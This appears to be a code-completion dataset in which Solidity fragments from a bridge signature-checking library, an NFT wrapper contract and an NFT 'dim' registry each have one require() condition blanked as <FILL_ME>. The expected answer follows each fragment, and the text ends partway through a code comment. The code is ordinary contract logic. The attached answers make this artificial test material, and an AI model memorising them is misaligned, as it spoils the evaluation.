// offset 52: 32 bytes :: uint256 - value
// offset 84: 32 bytes :: bytes32 - transaction hash
// offset 116: 20 bytes :: address - contract address to prevent double spending
// mload always reads 32 bytes.
// so we can and have to start reading recipient at offset 20 instead of 32.
// if we were to read at 32 the address would contain part of value and be corrupted.
// when reading from offset 20 mload will read 12 bytes (most of them zeros) followed
// by the 20 recipient address bytes and correctly convert it into an address.
// this saves some storage/gas over the alternative solution
// which is padding address to 32 bytes and reading recipient at offset 32.
// for more details see discussion in:
// https://github.com/paritytech/parity-bridge/issues/61
function parseMessage(bytes message)
internal
pure
returns (address recipient, uint256 amount, bytes32 txHash, address contractAddress)
{
}
function isMessageValid(bytes _msg) internal pure returns (bool) {
}
function requiredMessageLength() internal pure returns (uint256) {
}
function recoverAddressFromSignedMessage(bytes signature, bytes message, bool isAMBMessage)
internal
pure
returns (address)
{
require(signature.length == 65);
bytes32 r;
bytes32 s;
bytes1 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := mload(add(signature, 0x60))
}
require(<FILL_ME>)
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0);
return ecrecover(hashMessage(message, isAMBMessage), uint8(v), r, s);
}
function hashMessage(bytes message, bool isAMBMessage) internal pure returns (bytes32) {
}
/**
* @dev Validates provided signatures, only first requiredSignatures() number
* of signatures are going to be validated, these signatures should be from different validators.
* @param _message bytes message used to generate signatures
* @param _signatures bytes blob with signatures to be validated.
* First byte X is a number of signatures in a blob,
* next X bytes are v components of signatures,
* next 32 * X bytes are r components of signatures,
* next 32 * X bytes are s components of signatures.
* @param _validatorContract contract, which conforms to the IBridgeValidators interface,
* where info about current validators and required signatures is stored.
* @param isAMBMessage true if _message is an AMB message with arbitrary length.
*/
function hasEnoughValidSignatures(
bytes _message,
bytes _signatures,
IBridgeValidators _validatorContract,
bool isAMBMessage
) internal view {
}
function uintToString(uint256 i) internal pure returns (string) {
}
}
| uint8(v)==27||uint8(v)==28 | 297,558 | uint8(v)==27||uint8(v)==28 |
null | pragma solidity 0.4.24;
library Message {
function addressArrayContains(address[] array, address value) internal pure returns (bool) {
}
// layout of message :: bytes:
// offset 0: 32 bytes :: uint256 - message length
// offset 32: 20 bytes :: address - recipient address
// offset 52: 32 bytes :: uint256 - value
// offset 84: 32 bytes :: bytes32 - transaction hash
// offset 116: 20 bytes :: address - contract address to prevent double spending
// mload always reads 32 bytes.
// so we can and have to start reading recipient at offset 20 instead of 32.
// if we were to read at 32 the address would contain part of value and be corrupted.
// when reading from offset 20 mload will read 12 bytes (most of them zeros) followed
// by the 20 recipient address bytes and correctly convert it into an address.
// this saves some storage/gas over the alternative solution
// which is padding address to 32 bytes and reading recipient at offset 32.
// for more details see discussion in:
// https://github.com/paritytech/parity-bridge/issues/61
function parseMessage(bytes message)
internal
pure
returns (address recipient, uint256 amount, bytes32 txHash, address contractAddress)
{
}
function isMessageValid(bytes _msg) internal pure returns (bool) {
}
function requiredMessageLength() internal pure returns (uint256) {
}
function recoverAddressFromSignedMessage(bytes signature, bytes message, bool isAMBMessage)
internal
pure
returns (address)
{
}
function hashMessage(bytes message, bool isAMBMessage) internal pure returns (bytes32) {
}
/**
* @dev Validates provided signatures, only first requiredSignatures() number
* of signatures are going to be validated, these signatures should be from different validators.
* @param _message bytes message used to generate signatures
* @param _signatures bytes blob with signatures to be validated.
* First byte X is a number of signatures in a blob,
* next X bytes are v components of signatures,
* next 32 * X bytes are r components of signatures,
* next 32 * X bytes are s components of signatures.
* @param _validatorContract contract, which conforms to the IBridgeValidators interface,
* where info about current validators and required signatures is stored.
* @param isAMBMessage true if _message is an AMB message with arbitrary length.
*/
function hasEnoughValidSignatures(
bytes _message,
bytes _signatures,
IBridgeValidators _validatorContract,
bool isAMBMessage
) internal view {
require(<FILL_ME>)
uint256 requiredSignatures = _validatorContract.requiredSignatures();
uint256 amount;
assembly {
amount := and(mload(add(_signatures, 1)), 0xff)
}
require(amount >= requiredSignatures);
bytes32 hash = hashMessage(_message, isAMBMessage);
address[] memory encounteredAddresses = new address[](requiredSignatures);
for (uint256 i = 0; i < requiredSignatures; i++) {
uint8 v;
bytes32 r;
bytes32 s;
uint256 posr = 33 + amount + 32 * i;
uint256 poss = posr + 32 * amount;
assembly {
v := mload(add(_signatures, add(2, i)))
r := mload(add(_signatures, posr))
s := mload(add(_signatures, poss))
}
address recoveredAddress = ecrecover(hash, v, r, s);
require(_validatorContract.isValidator(recoveredAddress));
require(!addressArrayContains(encounteredAddresses, recoveredAddress));
encounteredAddresses[i] = recoveredAddress;
}
}
function uintToString(uint256 i) internal pure returns (string) {
}
}
| isAMBMessage||isMessageValid(_message) | 297,558 | isAMBMessage||isMessageValid(_message) |
null | pragma solidity 0.4.24;
library Message {
function addressArrayContains(address[] array, address value) internal pure returns (bool) {
}
// layout of message :: bytes:
// offset 0: 32 bytes :: uint256 - message length
// offset 32: 20 bytes :: address - recipient address
// offset 52: 32 bytes :: uint256 - value
// offset 84: 32 bytes :: bytes32 - transaction hash
// offset 116: 20 bytes :: address - contract address to prevent double spending
// mload always reads 32 bytes.
// so we can and have to start reading recipient at offset 20 instead of 32.
// if we were to read at 32 the address would contain part of value and be corrupted.
// when reading from offset 20 mload will read 12 bytes (most of them zeros) followed
// by the 20 recipient address bytes and correctly convert it into an address.
// this saves some storage/gas over the alternative solution
// which is padding address to 32 bytes and reading recipient at offset 32.
// for more details see discussion in:
// https://github.com/paritytech/parity-bridge/issues/61
function parseMessage(bytes message)
internal
pure
returns (address recipient, uint256 amount, bytes32 txHash, address contractAddress)
{
}
function isMessageValid(bytes _msg) internal pure returns (bool) {
}
function requiredMessageLength() internal pure returns (uint256) {
}
function recoverAddressFromSignedMessage(bytes signature, bytes message, bool isAMBMessage)
internal
pure
returns (address)
{
}
function hashMessage(bytes message, bool isAMBMessage) internal pure returns (bytes32) {
}
/**
* @dev Validates provided signatures, only first requiredSignatures() number
* of signatures are going to be validated, these signatures should be from different validators.
* @param _message bytes message used to generate signatures
* @param _signatures bytes blob with signatures to be validated.
* First byte X is a number of signatures in a blob,
* next X bytes are v components of signatures,
* next 32 * X bytes are r components of signatures,
* next 32 * X bytes are s components of signatures.
* @param _validatorContract contract, which conforms to the IBridgeValidators interface,
* where info about current validators and required signatures is stored.
* @param isAMBMessage true if _message is an AMB message with arbitrary length.
*/
function hasEnoughValidSignatures(
bytes _message,
bytes _signatures,
IBridgeValidators _validatorContract,
bool isAMBMessage
) internal view {
require(isAMBMessage || isMessageValid(_message));
uint256 requiredSignatures = _validatorContract.requiredSignatures();
uint256 amount;
assembly {
amount := and(mload(add(_signatures, 1)), 0xff)
}
require(amount >= requiredSignatures);
bytes32 hash = hashMessage(_message, isAMBMessage);
address[] memory encounteredAddresses = new address[](requiredSignatures);
for (uint256 i = 0; i < requiredSignatures; i++) {
uint8 v;
bytes32 r;
bytes32 s;
uint256 posr = 33 + amount + 32 * i;
uint256 poss = posr + 32 * amount;
assembly {
v := mload(add(_signatures, add(2, i)))
r := mload(add(_signatures, posr))
s := mload(add(_signatures, poss))
}
address recoveredAddress = ecrecover(hash, v, r, s);
require(<FILL_ME>)
require(!addressArrayContains(encounteredAddresses, recoveredAddress));
encounteredAddresses[i] = recoveredAddress;
}
}
function uintToString(uint256 i) internal pure returns (string) {
}
}
| _validatorContract.isValidator(recoveredAddress) | 297,558 | _validatorContract.isValidator(recoveredAddress) |
null | pragma solidity 0.4.24;
library Message {
function addressArrayContains(address[] array, address value) internal pure returns (bool) {
}
// layout of message :: bytes:
// offset 0: 32 bytes :: uint256 - message length
// offset 32: 20 bytes :: address - recipient address
// offset 52: 32 bytes :: uint256 - value
// offset 84: 32 bytes :: bytes32 - transaction hash
// offset 116: 20 bytes :: address - contract address to prevent double spending
// mload always reads 32 bytes.
// so we can and have to start reading recipient at offset 20 instead of 32.
// if we were to read at 32 the address would contain part of value and be corrupted.
// when reading from offset 20 mload will read 12 bytes (most of them zeros) followed
// by the 20 recipient address bytes and correctly convert it into an address.
// this saves some storage/gas over the alternative solution
// which is padding address to 32 bytes and reading recipient at offset 32.
// for more details see discussion in:
// https://github.com/paritytech/parity-bridge/issues/61
function parseMessage(bytes message)
internal
pure
returns (address recipient, uint256 amount, bytes32 txHash, address contractAddress)
{
}
function isMessageValid(bytes _msg) internal pure returns (bool) {
}
function requiredMessageLength() internal pure returns (uint256) {
}
function recoverAddressFromSignedMessage(bytes signature, bytes message, bool isAMBMessage)
internal
pure
returns (address)
{
}
function hashMessage(bytes message, bool isAMBMessage) internal pure returns (bytes32) {
}
/**
* @dev Validates provided signatures, only first requiredSignatures() number
* of signatures are going to be validated, these signatures should be from different validators.
* @param _message bytes message used to generate signatures
* @param _signatures bytes blob with signatures to be validated.
* First byte X is a number of signatures in a blob,
* next X bytes are v components of signatures,
* next 32 * X bytes are r components of signatures,
* next 32 * X bytes are s components of signatures.
* @param _validatorContract contract, which conforms to the IBridgeValidators interface,
* where info about current validators and required signatures is stored.
* @param isAMBMessage true if _message is an AMB message with arbitrary length.
*/
function hasEnoughValidSignatures(
bytes _message,
bytes _signatures,
IBridgeValidators _validatorContract,
bool isAMBMessage
) internal view {
require(isAMBMessage || isMessageValid(_message));
uint256 requiredSignatures = _validatorContract.requiredSignatures();
uint256 amount;
assembly {
amount := and(mload(add(_signatures, 1)), 0xff)
}
require(amount >= requiredSignatures);
bytes32 hash = hashMessage(_message, isAMBMessage);
address[] memory encounteredAddresses = new address[](requiredSignatures);
for (uint256 i = 0; i < requiredSignatures; i++) {
uint8 v;
bytes32 r;
bytes32 s;
uint256 posr = 33 + amount + 32 * i;
uint256 poss = posr + 32 * amount;
assembly {
v := mload(add(_signatures, add(2, i)))
r := mload(add(_signatures, posr))
s := mload(add(_signatures, poss))
}
address recoveredAddress = ecrecover(hash, v, r, s);
require(_validatorContract.isValidator(recoveredAddress));
require(<FILL_ME>)
encounteredAddresses[i] = recoveredAddress;
}
}
function uintToString(uint256 i) internal pure returns (string) {
}
}
| !addressArrayContains(encounteredAddresses,recoveredAddress) | 297,558 | !addressArrayContains(encounteredAddresses,recoveredAddress) |
"Not yours" | // SPDX-License-Identifier: UNLICENSED
/// @title PerfectPunks
/// @notice Perfect Punks
/// @author CyberPnk <[email protected]>
// __________________________________________________________________________________________________________
// _____/\/\/\/\/\______________/\/\________________________________/\/\/\/\/\________________/\/\___________
// ___/\/\__________/\/\__/\/\__/\/\__________/\/\/\____/\/\__/\/\__/\/\____/\/\__/\/\/\/\____/\/\__/\/\_____
// ___/\/\__________/\/\__/\/\__/\/\/\/\____/\/\/\/\/\__/\/\/\/\____/\/\/\/\/\____/\/\__/\/\__/\/\/\/\_______
// ___/\/\____________/\/\/\/\__/\/\__/\/\__/\/\________/\/\________/\/\__________/\/\__/\/\__/\/\/\/\_______
// _____/\/\/\/\/\________/\/\__/\/\/\/\______/\/\/\/\__/\/\________/\/\__________/\/\__/\/\__/\/\__/\/\_____
// __________________/\/\/\/\________________________________________________________________________________
// __________________________________________________________________________________________________________
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@cyberpnk/solidity-library/contracts/INftRenderer.sol";
import "@cyberpnk/solidity-library/contracts/RenderContractLockable.sol";
// import "hardhat/console.sol";
contract PerfectPunks is ERC721, IERC721Receiver, Ownable, ReentrancyGuard, RenderContractLockable {
address public v1WrapperContract;
address public v2WrapperContract;
IERC721 v1Wrapper;
IERC721 v2Wrapper;
function wrap(uint16 _punkId) external nonReentrant {
require(<FILL_ME>)
v1Wrapper.safeTransferFrom(msg.sender, address(this), uint(_punkId));
v2Wrapper.safeTransferFrom(msg.sender, address(this), uint(_punkId));
_mint(msg.sender, uint(_punkId));
}
function unwrap(uint16 _punkId) external nonReentrant {
}
function tokenURI(uint256 itemId) public view override returns (string memory) {
}
function contractURI() external view returns(string memory) {
}
function onERC721Received(address, address, uint256, bytes memory) override public pure returns(bytes4) {
}
constructor(address _v1WrapperContract, address _v2WrapperContract) ERC721("PerfectPunks","PERFECTPUNKS") Ownable() {
}
}
| v1Wrapper.ownerOf(uint(_punkId))==msg.sender&&v2Wrapper.ownerOf(uint(_punkId))==msg.sender,"Not yours" | 297,601 | v1Wrapper.ownerOf(uint(_punkId))==msg.sender&&v2Wrapper.ownerOf(uint(_punkId))==msg.sender |
"Not yours" | // SPDX-License-Identifier: UNLICENSED
/// @title PerfectPunks
/// @notice Perfect Punks
/// @author CyberPnk <[email protected]>
// __________________________________________________________________________________________________________
// _____/\/\/\/\/\______________/\/\________________________________/\/\/\/\/\________________/\/\___________
// ___/\/\__________/\/\__/\/\__/\/\__________/\/\/\____/\/\__/\/\__/\/\____/\/\__/\/\/\/\____/\/\__/\/\_____
// ___/\/\__________/\/\__/\/\__/\/\/\/\____/\/\/\/\/\__/\/\/\/\____/\/\/\/\/\____/\/\__/\/\__/\/\/\/\_______
// ___/\/\____________/\/\/\/\__/\/\__/\/\__/\/\________/\/\________/\/\__________/\/\__/\/\__/\/\/\/\_______
// _____/\/\/\/\/\________/\/\__/\/\/\/\______/\/\/\/\__/\/\________/\/\__________/\/\__/\/\__/\/\__/\/\_____
// __________________/\/\/\/\________________________________________________________________________________
// __________________________________________________________________________________________________________
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@cyberpnk/solidity-library/contracts/INftRenderer.sol";
import "@cyberpnk/solidity-library/contracts/RenderContractLockable.sol";
// import "hardhat/console.sol";
contract PerfectPunks is ERC721, IERC721Receiver, Ownable, ReentrancyGuard, RenderContractLockable {
address public v1WrapperContract;
address public v2WrapperContract;
IERC721 v1Wrapper;
IERC721 v2Wrapper;
function wrap(uint16 _punkId) external nonReentrant {
}
function unwrap(uint16 _punkId) external nonReentrant {
require(<FILL_ME>)
_burn(uint(_punkId));
v1Wrapper.safeTransferFrom(address(this), msg.sender, uint(_punkId));
v2Wrapper.safeTransferFrom(address(this), msg.sender, uint(_punkId));
}
function tokenURI(uint256 itemId) public view override returns (string memory) {
}
function contractURI() external view returns(string memory) {
}
function onERC721Received(address, address, uint256, bytes memory) override public pure returns(bytes4) {
}
constructor(address _v1WrapperContract, address _v2WrapperContract) ERC721("PerfectPunks","PERFECTPUNKS") Ownable() {
}
}
| ownerOf(uint(_punkId))==msg.sender,"Not yours" | 297,601 | ownerOf(uint(_punkId))==msg.sender |
"dim not exist" | // SPDX-License-Identifier: MIT
// https://kanon.art - K21
// https://daemonica.io
//
//
// $@@@@@@@@@@@$$$
// $$@@@@@@$$$$$$$$$$$$$$##
// $$$$$$$$$$$$$$$$$#########***
// $$$$$$$$$$$$$$$#######**!!!!!!
// ##$$$$$$$$$$$$#######****!!!!=========
// ##$$$$$$$$$#$#######*#***!!!=!===;;;;;
// *#################*#***!*!!======;;;:::
// ################********!!!!====;;;:::~~~~~
// **###########******!!!!!!==;;;;::~~~--,,,-~
// ***########*#*******!*!!!!====;;;::::~~-,,......,-
// ******#**********!*!!!!=!===;;::~~~-,........
// ***************!*!!!!====;;:::~~-,,..........
// !************!!!!!!===;;::~~--,............
// !!!*****!!*!!!!!===;;:::~~--,,..........
// =!!!!!!!!!=!==;;;::~~-,,...........
// =!!!!!!!!!====;;;;:::~~--,........
// ==!!!!!!=!==;=;;:::~~--,...:~~--,,,..
// ===!!!!!=====;;;;;:::~~~--,,..#*=;;:::~--,.
// ;=============;;;;;;::::~~~-,,...$$###==;;:~--.
// :;;==========;;;;;;::::~~~--,,....@@$$##*!=;:~-.
// :;;;;;===;;;;;;;::::~~~--,,...$$$$#*!!=;~-
// :;;;;;;;;;;:::::~~~~---,,...!*##**!==;~,
// :::;:;;;;:::~~~~---,,,...~;=!!!!=;;:~.
// ~:::::::::::::~~~~~---,,,....-:;;=;;;~,
// ~~::::::::~~~~~~~-----,,,......,~~::::~-.
// -~~~~~~~~~~~~~-----------,,,.......,-~~~~~,.
// ---~~~-----,,,,,........,---,.
// ,,--------,,,,,,.........
// .,,,,,,,,,,,,......
// ...............
// .........
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./IERC721Metadata.sol";
import "./IERC721Enumerable.sol";
import "./OccultMath.sol";
import "./Helpers.sol";
interface IBase64 is IERC721Enumerable, IERC721Metadata {}
interface IDaemonica {
function getTau(address _hodler) external view returns (string[] memory);
function getTheta(uint256 _tokenId, uint8 _modulo, string[] memory _tau) external view returns (uint8[8][8] memory);
function isQualified(address _hodler) external view returns (bool);
}
/** @title Daemonica contract
* @author @0xAnimist
* @notice "Daemonica generates an ever-changing 8 x 8 numerical matrix from base64-encoded
* onchain art. Each matrix is associated with an "Entity," which in turn can cast "Xe_ntities."
* The n dimensional relationships that exist within and between each Entity and Xe_ntity can be
* freely interpreted and understood. Use Daemonica however you wish." –artist
*/
contract Daemonica is Ownable, ReentrancyGuard {
uint8 public totalDims = 0;
uint8 public totalAddedDims = 0;
uint8 public maxAddableDims = 128;
mapping (string => address) public dimAdder;
uint8 public totalOwnerAddedDims = 0;
uint8 public maxOwnerAddableDims = 128;
bool public presale = true;
address public artist;
uint256 public artistBalance = 0;
uint256 public ownerBalance = 0;
mapping (string => IBase64) private dims;
mapping (uint8 => string) private symbolStringByIndex;
mapping (string => uint8) private symbolIndexByString;
/** @notice Allows only the artist to broadcast a message
* @param _artist Artists's address
* @param _message Artist's message
*/
event Broadcast(address indexed _artist, string _message);
/** @notice Only the artist can call function
*/
modifier onlyArtist() {
}
/** @notice Only the artist or owner can call function
*/
modifier onlyAdmin() {
}
/** @notice Requires dim with symbol _symbol to be initialized
* @param _symbol Symbol associated with the dim's contract
*/
modifier dimExists(string memory _symbol) {
require(<FILL_ME>)
_;
}
/** @notice Allows only the artist to broadcast a message
* @param _message Artist's message
*/
function artistBroadcast(string memory _message) external onlyArtist {
}
/** @notice Allows the owner to set the presale flag
* @param _value the new value
*/
function setPresale(bool _value) external onlyOwner {
}
/** @notice Returns lists of all dims by symbol and address
* @dev different contracts with the same symbol cannot be registered, only the first registered will be accepted
* @return string array of each dim symbol
* @return address array of each dim contract address
*/
function getDims() external view returns (string[] memory, address[] memory) {
}
/** @notice Registers a new dim
* @dev different contracts with the same symbol cannot be registered, only the first registered will be accepted
* @param _address Contract address of dim to register
*/
function registerDim(address _address) internal {
}
/** @notice Allows owner to add a dim with a quota of maxOwnerAddableDims
* @param _address Contract address of dim to register
*/
function adminAddDim(address _address) external onlyAdmin {
}
/** @notice Anyone can add a valid dim for 1 ether
* @param _address Contract address of dim to register
*/
function addDim(address _address) external payable nonReentrant {
}
/** @notice Refunds a dimAdder if owner has to delete the dim the added in case
* of emergency
* @param _symbol Symbol of the dim being removed that needs refunding
*/
function refund(string memory _symbol) internal {
}
/** @notice Allows owner to remove a dim and refund the dimAdder
* @dev Emergency use only
* @param _symbol Symbol of the dim to remove
*/
function adminRemoveDim(string memory _symbol) external onlyAdmin dimExists(_symbol) {
}
/** @notice Returns true if the given tokenURI() return value has a valid base64 header, payload, and its contract has a valid symbol
* @param _str Return value from tokenURI() to test
* @return true or false
*/
function isValidLootverseURI(string memory _str) internal pure returns (bool) {
}
/** @notice Returns true if _hodler holds tokens from any dim in _animolist
* @param _hodler would be _hodler
* @return True or false
*/
function isQualified(address _hodler) external view returns (bool){
}
/** @notice 𝜏 = tau, a rarely used Greek symbol, *facta bruta* :( 𝜏 symbolizes ( life | regeneration | resurrection | the power to find new life paths or choices )+. A striking phonetic relationship exists between 𝜏 and "tao", the Chinese term for ( the way | the true path | inner compass )+. *Hic et nunc*, the Daemonican way is death * life, or θ𝜏=X(ξ).
* @dev Returns any dims in which the _hodler owns at least one token of any tokenId
* @param _hodler entity hodler
* @return A string array of the symbols of one or more tokens from each dim held by the hodler
*/
function getTau(address _hodler) public view returns (string[] memory){
}
/** @notice θ = theta, symbol of change in angle or rotation. *Thanatos* (death) hides in this symbol. There is no ξ without θ, no *existentialia* without change. θ is also therefore a talismanic sign for passage to the “underworld”, to a realm closer to life’s origins.
* @dev Returns theta, the 8x8 base-_modulo frequency matrix of an entity
* @param _tokenId tokenId of the entity being queried
* @param _modulo caps all values at base-_modulo
* @param _tau tau is the dimensions of _tokenId's hodler
*/
function getTheta(uint256 _tokenId, uint8 _modulo, string[] memory _tau) external view returns (uint8[8][8] memory) {
}
/** @notice Allows owner to withdraw available balance
*/
function ownerWithdrawAvailableBalance() public nonReentrant onlyOwner {
}
/** @notice Allows artist to withdraw available balance
*/
function artistWithdrawAvailableBalance() public nonReentrant onlyArtist {
}
/** @notice Daemonica constructor
* @param _artist The Ethereum address of the artist
*/
constructor (address _artist) {
}
}
| Helpers.compareStrings(symbolStringByIndex[symbolIndexByString[_symbol]],_symbol),"dim not exist" | 297,627 | Helpers.compareStrings(symbolStringByIndex[symbolIndexByString[_symbol]],_symbol) |
"requires symbol" | // SPDX-License-Identifier: MIT
// https://kanon.art - K21
// https://daemonica.io
//
//
// $@@@@@@@@@@@$$$
// $$@@@@@@$$$$$$$$$$$$$$##
// $$$$$$$$$$$$$$$$$#########***
// $$$$$$$$$$$$$$$#######**!!!!!!
// ##$$$$$$$$$$$$#######****!!!!=========
// ##$$$$$$$$$#$#######*#***!!!=!===;;;;;
// *#################*#***!*!!======;;;:::
// ################********!!!!====;;;:::~~~~~
// **###########******!!!!!!==;;;;::~~~--,,,-~
// ***########*#*******!*!!!!====;;;::::~~-,,......,-
// ******#**********!*!!!!=!===;;::~~~-,........
// ***************!*!!!!====;;:::~~-,,..........
// !************!!!!!!===;;::~~--,............
// !!!*****!!*!!!!!===;;:::~~--,,..........
// =!!!!!!!!!=!==;;;::~~-,,...........
// =!!!!!!!!!====;;;;:::~~--,........
// ==!!!!!!=!==;=;;:::~~--,...:~~--,,,..
// ===!!!!!=====;;;;;:::~~~--,,..#*=;;:::~--,.
// ;=============;;;;;;::::~~~-,,...$$###==;;:~--.
// :;;==========;;;;;;::::~~~--,,....@@$$##*!=;:~-.
// :;;;;;===;;;;;;;::::~~~--,,...$$$$#*!!=;~-
// :;;;;;;;;;;:::::~~~~---,,...!*##**!==;~,
// :::;:;;;;:::~~~~---,,,...~;=!!!!=;;:~.
// ~:::::::::::::~~~~~---,,,....-:;;=;;;~,
// ~~::::::::~~~~~~~-----,,,......,~~::::~-.
// -~~~~~~~~~~~~~-----------,,,.......,-~~~~~,.
// ---~~~-----,,,,,........,---,.
// ,,--------,,,,,,.........
// .,,,,,,,,,,,,......
// ...............
// .........
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./IERC721Metadata.sol";
import "./IERC721Enumerable.sol";
import "./OccultMath.sol";
import "./Helpers.sol";
interface IBase64 is IERC721Enumerable, IERC721Metadata {}
interface IDaemonica {
function getTau(address _hodler) external view returns (string[] memory);
function getTheta(uint256 _tokenId, uint8 _modulo, string[] memory _tau) external view returns (uint8[8][8] memory);
function isQualified(address _hodler) external view returns (bool);
}
/** @title Daemonica contract
* @author @0xAnimist
* @notice "Daemonica generates an ever-changing 8 x 8 numerical matrix from base64-encoded
* onchain art. Each matrix is associated with an "Entity," which in turn can cast "Xe_ntities."
* The n dimensional relationships that exist within and between each Entity and Xe_ntity can be
* freely interpreted and understood. Use Daemonica however you wish." –artist
*/
contract Daemonica is Ownable, ReentrancyGuard {
uint8 public totalDims = 0;
uint8 public totalAddedDims = 0;
uint8 public maxAddableDims = 128;
mapping (string => address) public dimAdder;
uint8 public totalOwnerAddedDims = 0;
uint8 public maxOwnerAddableDims = 128;
bool public presale = true;
address public artist;
uint256 public artistBalance = 0;
uint256 public ownerBalance = 0;
mapping (string => IBase64) private dims;
mapping (uint8 => string) private symbolStringByIndex;
mapping (string => uint8) private symbolIndexByString;
/** @notice Allows only the artist to broadcast a message
* @param _artist Artists's address
* @param _message Artist's message
*/
event Broadcast(address indexed _artist, string _message);
/** @notice Only the artist can call function
*/
modifier onlyArtist() {
}
/** @notice Only the artist or owner can call function
*/
modifier onlyAdmin() {
}
/** @notice Requires dim with symbol _symbol to be initialized
* @param _symbol Symbol associated with the dim's contract
*/
modifier dimExists(string memory _symbol) {
}
/** @notice Allows only the artist to broadcast a message
* @param _message Artist's message
*/
function artistBroadcast(string memory _message) external onlyArtist {
}
/** @notice Allows the owner to set the presale flag
* @param _value the new value
*/
function setPresale(bool _value) external onlyOwner {
}
/** @notice Returns lists of all dims by symbol and address
* @dev different contracts with the same symbol cannot be registered, only the first registered will be accepted
* @return string array of each dim symbol
* @return address array of each dim contract address
*/
function getDims() external view returns (string[] memory, address[] memory) {
}
/** @notice Registers a new dim
* @dev different contracts with the same symbol cannot be registered, only the first registered will be accepted
* @param _address Contract address of dim to register
*/
function registerDim(address _address) internal {
IBase64 dim = IBase64(_address);
//name the new dim symbolically and increment the dims counter
string memory symbol = dim.symbol();
require(<FILL_ME>)
require(!Helpers.compareStrings(symbolStringByIndex[symbolIndexByString[symbol]],symbol), "symbol already registered");
//ensure the new dim is base64 encoded
require(isValidLootverseURI(dim.tokenURI(1)));//test it against the first token
symbolStringByIndex[totalDims] = symbol;
symbolIndexByString[symbol] = totalDims;
totalDims++;
dims[symbol] = dim;
dimAdder[symbol] = _msgSender();
}
/** @notice Allows owner to add a dim with a quota of maxOwnerAddableDims
* @param _address Contract address of dim to register
*/
function adminAddDim(address _address) external onlyAdmin {
}
/** @notice Anyone can add a valid dim for 1 ether
* @param _address Contract address of dim to register
*/
function addDim(address _address) external payable nonReentrant {
}
/** @notice Refunds a dimAdder if owner has to delete the dim the added in case
* of emergency
* @param _symbol Symbol of the dim being removed that needs refunding
*/
function refund(string memory _symbol) internal {
}
/** @notice Allows owner to remove a dim and refund the dimAdder
* @dev Emergency use only
* @param _symbol Symbol of the dim to remove
*/
function adminRemoveDim(string memory _symbol) external onlyAdmin dimExists(_symbol) {
}
/** @notice Returns true if the given tokenURI() return value has a valid base64 header, payload, and its contract has a valid symbol
* @param _str Return value from tokenURI() to test
* @return true or false
*/
function isValidLootverseURI(string memory _str) internal pure returns (bool) {
}
/** @notice Returns true if _hodler holds tokens from any dim in _animolist
* @param _hodler would be _hodler
* @return True or false
*/
function isQualified(address _hodler) external view returns (bool){
}
/** @notice 𝜏 = tau, a rarely used Greek symbol, *facta bruta* :( 𝜏 symbolizes ( life | regeneration | resurrection | the power to find new life paths or choices )+. A striking phonetic relationship exists between 𝜏 and "tao", the Chinese term for ( the way | the true path | inner compass )+. *Hic et nunc*, the Daemonican way is death * life, or θ𝜏=X(ξ).
* @dev Returns any dims in which the _hodler owns at least one token of any tokenId
* @param _hodler entity hodler
* @return A string array of the symbols of one or more tokens from each dim held by the hodler
*/
function getTau(address _hodler) public view returns (string[] memory){
}
/** @notice θ = theta, symbol of change in angle or rotation. *Thanatos* (death) hides in this symbol. There is no ξ without θ, no *existentialia* without change. θ is also therefore a talismanic sign for passage to the “underworld”, to a realm closer to life’s origins.
* @dev Returns theta, the 8x8 base-_modulo frequency matrix of an entity
* @param _tokenId tokenId of the entity being queried
* @param _modulo caps all values at base-_modulo
* @param _tau tau is the dimensions of _tokenId's hodler
*/
function getTheta(uint256 _tokenId, uint8 _modulo, string[] memory _tau) external view returns (uint8[8][8] memory) {
}
/** @notice Allows owner to withdraw available balance
*/
function ownerWithdrawAvailableBalance() public nonReentrant onlyOwner {
}
/** @notice Allows artist to withdraw available balance
*/
function artistWithdrawAvailableBalance() public nonReentrant onlyArtist {
}
/** @notice Daemonica constructor
* @param _artist The Ethereum address of the artist
*/
constructor (address _artist) {
}
}
| !Helpers.compareStrings(dim.symbol(),""),"requires symbol" | 297,627 | !Helpers.compareStrings(dim.symbol(),"") |
"symbol already registered" | // SPDX-License-Identifier: MIT
// https://kanon.art - K21
// https://daemonica.io
//
//
// $@@@@@@@@@@@$$$
// $$@@@@@@$$$$$$$$$$$$$$##
// $$$$$$$$$$$$$$$$$#########***
// $$$$$$$$$$$$$$$#######**!!!!!!
// ##$$$$$$$$$$$$#######****!!!!=========
// ##$$$$$$$$$#$#######*#***!!!=!===;;;;;
// *#################*#***!*!!======;;;:::
// ################********!!!!====;;;:::~~~~~
// **###########******!!!!!!==;;;;::~~~--,,,-~
// ***########*#*******!*!!!!====;;;::::~~-,,......,-
// ******#**********!*!!!!=!===;;::~~~-,........
// ***************!*!!!!====;;:::~~-,,..........
// !************!!!!!!===;;::~~--,............
// !!!*****!!*!!!!!===;;:::~~--,,..........
// =!!!!!!!!!=!==;;;::~~-,,...........
// =!!!!!!!!!====;;;;:::~~--,........
// ==!!!!!!=!==;=;;:::~~--,...:~~--,,,..
// ===!!!!!=====;;;;;:::~~~--,,..#*=;;:::~--,.
// ;=============;;;;;;::::~~~-,,...$$###==;;:~--.
// :;;==========;;;;;;::::~~~--,,....@@$$##*!=;:~-.
// :;;;;;===;;;;;;;::::~~~--,,...$$$$#*!!=;~-
// :;;;;;;;;;;:::::~~~~---,,...!*##**!==;~,
// :::;:;;;;:::~~~~---,,,...~;=!!!!=;;:~.
// ~:::::::::::::~~~~~---,,,....-:;;=;;;~,
// ~~::::::::~~~~~~~-----,,,......,~~::::~-.
